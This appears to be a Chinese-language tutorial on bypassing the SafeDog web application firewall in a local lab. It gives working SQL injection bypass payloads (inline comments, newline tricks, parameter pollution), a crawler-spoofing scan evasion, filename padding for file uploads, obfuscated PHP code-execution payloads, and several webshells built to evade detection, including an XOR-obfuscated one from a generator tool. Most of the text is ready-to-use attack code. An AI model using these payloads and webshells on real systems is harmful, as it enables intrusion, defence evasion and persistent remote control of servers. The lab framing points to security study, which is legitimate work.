1、先将phpstudy 以管理员身份运行,将运行模式修改为 “系统服务”,点击“应用”。
2、下载安全狗,安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知
?
3、安装安全狗,以管理员身份运行
需要登录使用:
通过7kscan工具进行目录扫描,全部状态码为200。
在防护日志中显示“不允许的HTTP请求”,拦截原因:进行了不允许的HTTP请求(HEAD请求)。
因为默认的目录扫描的HTTP请求方法是HEAD(响应快),而安全狗拦截此HEAD请求。
绕过方式为修改HTTP请求方法为GET。
此时使用7kscan工具进行目录扫描,全部状态码为200。
使用相同IP的主机浏览器访问,会出现“您的请求过于频繁,已被网站管理员设置拦截!”,因为扫描过快,出发了CC防护机制。
安全狗防护日志处会产生“CC攻击”日志。
此时的绕过方式是延迟、爬虫引擎、代理池。
Mozilla/5.0?(compatible;?Baiduspider/2.0;?+http://www.baidu.com/search/spider.html)Mozilla/5.0?(compatible;?Baiduspider-render/2.0;?+http://www.baidu.com/search/spider.html)
安全和客户体验是需要平衡的,特别针对于WAF而言。如果用了WAF之后,网页动不动就被拦截,比如我是用户,用户名是and,然后我就被拦截了;或者我不小心输入了一个'引号就出问题,用户体验不好。
WAF一般都是通用的,并不是单独定制的,也就是说在拦截上会比较谨慎,所以WAF的拦截规则对应的正则一般是搭配式的,比如 and 1=1会被拦截,但是单独的and和单独的1=1不会被拦截。
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。
/!/如果被拦截,可以尝试添加版本号。
比如:/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行。
注意:版本号必须是5位数字,具体使用哪个版本号可以通过burpSuite的Intruder的模块进行爆破
正常注入会被安全狗拦截:
使用内联注释进行绕过:
注释/**/中的内容不会被安全狗拦截。
结合特殊字符 %0a(换行符)进行绕过。
比如:
http://127.0.0.1/sqli-labs/Less-1/
?id=1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/
参数值1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/?对于安全狗来说,/**/中的内容不会拦截,所以可以原样到达web服务器apache。
因为%0a是换行,%23是#号,所以1' -- qqq /*%0a and 1=2 union select 1,2,3 %23*/会被认为是
1' *-- qqq /**
and 1=2 union select 1,2,3 *#*/*
而-- qqq /*和#*/均会被注释掉,所以最终拼接如sql语句中的为
1' and 1=2 union select 1,2,3
有些函数加上反撇号可以绕过
1' ?and `sleep`(5) -- qqq
对于s%e%l%ect会被iis认为是select
HTTP参数污染(HPP)
对于传参id=1&id=2,最终接收的参数为id=2
比如:
http://127.0.0.1/sqli-labs/Less-1/
?id=1'/*&id=2' and 1=2 union select 1,2,3 %23*/
首先安全狗不会过滤/**/中的内容,当参数发送到apache后,会将第二个参数2' and 1=2 union select 1,2,3拼接到sql语句中进行执行。
注意不要使用#,#可能会被拦截,建议替换成%23,或者使用-- 。
WAF对检测数据包的包长或检测数据流长度,有一个限制。
少量就会有拦截:
在filename="webshell.php";之前多加一些正常的filename,比如filename="webshell.jpg";,
Content-Disposition:?form-data;?name="uploaded";?filename="webshell.jpg";filename="webshell.jpg";....此处省略上百个...filename="webshell.php";Content-Type:?image/jpeg
如下图:
如果waf拦截了phpinfo();等类型的一些敏感字符串等,比如安全狗自定义检测规则(自己添加):
其他场景类似。
拿pikachu测试,先将安全狗的文件防护关闭,否则会访问不到rce的漏洞文件。
txt=$a="p";$b="hpinfo";$c=$a.$b;$c();
txt=$a="p";$b="hpinfo";$c=$a.$b;$c();&submit=%E6%8F%90%E4%BA%A4
txt=assert(base64_decode('cGhwaW5mbygpOw=='));
如果base64_decode函数被过滤,可以尝试别的编码函数,比如转换为十六进制:
txt=eval(pack("H*",'706870696E666F28293B'));
txt=assert(str_replace('x','','phxpinxfo()'));
如果此时assert也被过滤了呢?可以使用别的函数,也可以结合变量拼接:
txt=$a='ass';$b='ert';$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));
http://192.168.10.155/pikachu/vul/rce/rce_eval.php?x=ert
txt=$a='ass';$b=$_GET['x'];$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));
环境:安全狗v4.0,防护等级中级
webshell.php文件
<?php?@eval($_REQUEST['a']);?>
访问直接被拦截
安全狗扫描也会发现网页木马风险。
直接使用一句话木马原型会被拦截。
需要进行绕过bypass。
通过删除一句话木马不同的字符,测试安全狗过滤的内容,发现当出现eval($_REQUEST[])时会被拦截过滤。
bypass思路:
end()函数:输出数组中最后一个元素的值。
$_REQUEST是一个包含前端传过来的参数数组。
<?php?eval(end($_REQUEST));?>
define() 函数定义一个常量。
<?php?define("b","$_REQUEST['a']");eval(b);?>
<?php?
??$a='ass';???
??$b='ert';
??$funcName=$a.$b;
??$x='funcName';
??$$x($_REQUEST['a']);??// $funcName($_REQUEST[a]) ==> assert($_REQUEST[a])?>
注意此时,不能拼接eval,因为eval()不是函数!否则会出现报错~ Call to undefined function eval()
<?php?
??function?abc($b){
????return?$b
??};
??$a?=?abc($_REQUEST['a']);
??eval($a);?>
经测试,此方法被过滤,提示“内藏自定义函数”
<?php?
??class?User{
????public?$name='';
????function?__destruct(){
??????// 在对象被销毁时会被执行
??????eval("$this->name");
????}
??};
??$user?=?new?User;
??$user->name?=?$_REQUEST['a'];?>
<?php?
??$cookie?=?$_COOKIE;??// 获取cookie的数组
??foreach($cookie?as?$key?=>?$value){
????if($key=='assert'){
??????$key($_REQUEST['a']);
????}
??}?>
需要提前在本地浏览器存入key为assert的cookie。
<?php?
??$a?=?get_defined_functions();
??$a['internal'][841]($_REQUEST['a']);?>
原理分析:get_defined_functions()可以获取所有定义的函数,通过$a['internal'][841]可以拿到assert。
<?php?
??$a?=?get_defined_functions();
??var_dump($a);?// $a为一个二维数组,其中‘internal’对应了所有php预定义的函数名?>
<?php?
??eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['muma']);?>
如果不行,可以添加换行~
<?php?
??eval(
????mysqli_fetch_assoc(
??????mysqli_query(
????????mysqli_connect('127.0.0.1','root','root','test'),
????????'select * from info'
??????)
????)['muma']
??);?>
webshell.php文件:
<?
// @eval(base64_decode(end($_REQUEST)));$a="base64_";$b="decode";$c=$a.$b;
@eval($c(end($_REQUEST)));
?>
传递的值使用base64加密,在webshell.php处进行解密。
使用蚁剑自带编码加密绕过(注意蚁剑发送的数据包自带解码,所以上传的webshell不需要base64_decode)
php加密网站
将webshell进行加密,再上传至目标主机。
加密过后的内容:
连接加密过后的webshell时和连接源文件的方式一致。
github地址:
目前网上能下载到的版本是3.0版,最新版4.x需要加入作者“知识星球”获取:webshell-venom 3.3 :利用随机异或免杀任意php文件 -
利用脚本生成的php免杀webshell(每次生成都不同)
<?php?class??FHNK{?function?__destruct(){$nby='J'^"\x2b";$uzj='?'^"\x4c";$yfh='>'^"\x4d";$xne='B'^"\x27";$jbp='R'^"\x20";$ufj='/'^"\x5b";$INLG=$nby.$uzj.$yfh.$xne.$jbp.$ufj;return?@$INLG($this->TM);}}$fhnk=new?FHNK();
@$fhnk->TM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>
使用该webshell: